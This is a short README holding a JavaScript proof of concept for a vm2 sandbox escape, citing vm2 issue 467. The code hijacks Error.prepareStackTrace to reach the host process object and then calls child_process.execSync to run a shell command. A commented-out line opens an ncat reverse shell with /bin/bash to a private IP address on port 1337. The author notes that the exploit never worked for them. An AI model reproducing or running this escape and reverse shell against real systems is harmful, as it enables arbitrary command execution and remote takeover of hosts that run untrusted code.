README.md
Rendering markdown...
// https://github.com/patriksimek/vm2/issues/467
var poc = function () {
// This line insert vulnerabilities!
globalThis.Error.prepareStackTrace = (_, c) =>
c.map((c) => c.getThis()).find((a) => a && a.process);
const { stack } = new Error();
// now you can get process object from stack.process
console.info(stack.process.mainModule);
// and you can use process.mainModule.require to import any library to execute any commands
stack.process.mainModule.require('child_process').execSync('touch tmp/lolololol');
//stack.process.mainModule.require('child_process').execSync('/bin/ncat 192.168.0.98 1337 -e /bin/bash');
};
// I could never get this poc to work but I included it anyway
poc();